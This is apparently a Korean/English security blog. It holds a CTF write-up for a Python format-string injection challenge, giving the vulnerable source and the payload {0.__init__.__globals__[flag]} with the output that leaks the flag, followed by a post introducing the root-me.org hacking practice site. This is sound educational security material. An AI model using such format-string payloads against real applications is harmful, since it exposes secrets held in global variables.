Because "quantity value" is injected into the string with format string, but "type value" is inserted into the string with string concatenation. It seems very suspicious.

 

Finally, I found there is format string bug on that line.

print ('{0.quantity} x ... '+ self.type).format(self)

0 inside curly brace means the 0-indexed parameter of format function. In this case, 0 means "self" parameter which is Decoration object.

Thus, 0.quantity means "quantity" property of self object.

 

self.type value is inserted to the string with string concatenation, we can insert another format string.

The our custom format string will be evaluated with format function.

 

If you insert {0.__init__.__globals__[flag]} to type value, you can find the value of flag which is global variable.

 

           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \    )"";--`\ /
     \        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`

SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 1
What item do you like to buy? {0.__init__.__globals__[flag]}
How many of those? 123
Thank you, your items will be added
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 2
123 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:

Gotcha!

We've got flag "X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}"

 

 

References

https://python-forum.io/Thread-str-format-security-vulnerability

 

 

한국어 풀이

 

MISC 문제이다. nc로 접속해보면 다음과 같은 메뉴들이 나타난다.

 

3번 메뉴를 선택하면, 소스코드를 알려준다.

import os, sys
from secret import flag

items = []

def menu():
        print "SANTA's Decoration shop yay!"
        print "1. Add new decoration to the shopping list"
        print "2. View your shopping list"
        print "3. Ask Santa for a suggestion"

        sys.stdout.write ("Your choice: ")
        sys.stdout.flush ()
        return sys.stdin.readline ()

class Decoration(object):
        def __init__(self, type, quantity):
                self.quantity = quantity
                self.type = type
        def print_decoration(self):
                print ('{0.quantity} x ... '+ self.type).format(self)

def leak_source_code():
        print "Santa shows you how his shop works to prove that he doesn't scam you!\n\n"

        with open(__file__, 'r') as f:
                print f.read()

def add_item():
        sys.stdout.write ("What item do you like to buy? ")
        sys.stdout.flush ()
        type = sys.stdin.readline ().strip ()

        sys.stdout.write ("How many of those? ")
        sys.stdout.flush ()
        quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this

        items.append(Decoration(type, quantity))

        print 'Thank you, your items will be added'

def show_items():
        for dec in items:
                dec.print_decoration()

print ("""           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \\    )"";--`\\ /
     \\        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`
     """)

while True:
        choice = menu().strip ()

        if(choice == '1'):
                add_item()
        elif(choice == '2'):
                show_items()
        elif(choice == '3'):
                leak_source_code()
        else:
                print "Invalid choice"

 

1번 메뉴를 이용해서 아이템들을 추가할 수 있고, 2번 메뉴를 통해서 추가된 아이템들을 출력해볼 수 있다.

 

소스코드중에서 주석 처리된 부분 # Too lazy to sanitize this라는 부분이 힌트인줄 알고 계속 보았는데, 이 부분은 별다른 내용은 없었다.

 

2번 메뉴중 print_decoration부분에서 python format string에 format 함수를 이용해서 입력하는 부분이 있는데, 해당 문법을 몰라서 감을 못잡다가, 해당 부분에 포맷 스트링 버그가 있는 것을 알 수 있었다.

 

print ('{0.quantity} x ... '+ self.type).format(self)

위 부분에서 self.type을 붙여서 format 스트링을 만든 뒤, format함수를 통해서 evaluation이 되게 되는데, {0.quantity}의 의미는 format 함수의 0번째 인자의 quantity 프로퍼티를 뜻한다.

 

self는 Decoration 객체를 뜻하므로, self.type에 {0.__init__.__globals__[flag]}라는 값을 입력시킨 뒤 출력하게 만든다면 전역변수 flag에 있는 값을 출력시킬 수 있게 된다.

           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \    )"";--`\ /
     \        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`

SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 1
What item do you like to buy? {0.__init__.__globals__[flag]}
How many of those? 123
Thank you, your items will be added
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 2
123 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:

flag는 X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5} 이다.

 

References

https://python-forum.io/Thread-str-format-security-vulnerability

워게임 사이트란?

유입 로그를 보니, 게임 사이트로 검색해서 들어오는 분들이 많아서 워게임 사이트가 무엇인지 간략하게 설명을 하고 지나가도록 하겠습니다.

 

워게임은 일반적인 오락 종류인 게임이 아닌, 해킹 연습 문제를 풀 수있는 그러한 플랫폼이라고 생각하시면 됩니다.

 

따라서 지금 소개하려는 워게임 사이트인 root-me.org라는 사이트도, 기본적인 해킹 기술들을 연습할 수 있는 사이트라고 보시면 됩니다. 

 

해킹에 입문하고자 하는 학생 및 일반인 등이라면 이 글을 관심을 갖고 읽어보시면 좋을 듯 합니다.

 

root-me.org

 

최근 루비야님 블로그를 보다가 보니, 웹 해킹 테크트리라는 글을 보게 되었다.

https://blog.rubiya.kr/index.php/2019/07/26/webhacking-techtree/

 

Webhacking Techtree – blog.rubiya.kr

2019년 중순 기준으로 해킹의 분야 중에서 수 년 째 포너블의 강세가 계속되고 있습니다. 그러나 실무에서는 웹해킹의 비중이 아직도 압도적으로 높습니다. 모의해킹 업무를 나가면 90%는 웹이고 나머지 10%는 모바일이더라 라는 말도 있죠. 정립된 웹해킹 공부 순서가 필요하다고 생각해 글을 작성합니다. 먼저 모든 해킹에 해당되는 말이지만, 해킹은 프로그래머의 실수를 잡아내는 학문이기에 프로그래밍 능력이 선결되어야 합니다. 따라서 여러분이 첫 번째로 해야 할

blog.rubiya.kr

 

그 글에서 root-me.org라는 워게임 사이트에서 Web-Server 카테고리의 문제들을 추천하는 내용을 보고 해당 사이트에 한번 접속해 보았다.

 

생각보다 사이트는 깔끔한 디자인을 하고 있었다.

 

그런데 언어가 영어가 아닌 것 같으니, 우측 상단에 국기 같은 부분에 마우스를 올려서 영국 국기를 클릭해서 영어로 언어를 변경해주자.

 

현재는 불어로 되어 있는 것 같다. 가장 좌측의 영국 국기를 눌러서 영어로 바꾸자.

 

메인화면에 있는 회원가입 폼에 값을 입력해서 회원가입을 하면 된다. naver 이메일을 쓰니 이유는 모르겠지만, 인증 메일이 오지 않아서 gmail 계정을 입력했다.

 

Account Type은 하단에 나와있긴한데, 무료계정인 Visitor access로 일단 한번 가입해보도록 하였다.

로그인 한 뒤 화면인데, 좌측 메뉴에서 Challenge - Web - Server를 눌러보자.

 

61개의 챌린지가 있다고 하는데, 해당 워게임 사이트에 온 김에 가장 쉬운 문제 하나만 풀고 글을 마무리 해보려고 한다.

 

HTML - Source Code 문제로 들어가보자.

5점짜리 문제이고, Validations가 48%로 꽤나 높다. 아마 문제를 풀려고 시도한 사람 수 대비 푼 사람 수에 해당하는 값이지 싶다.

 

Start the challenge를 눌러보자.

 

------------------ 솔루션은 공유하면 안된다고 해서 문제 풀이 부분은 내용을 제거하였다. ----------------------------

 

패스워드를 구한 뒤 입력하면 저렇게 점수를 얻을 수 있다.

문제가 해결되었다 ㅎㅎ

 

나중에 시간 나면 다른 문제들도 다 풀어봐야 겠다.

+ Recent posts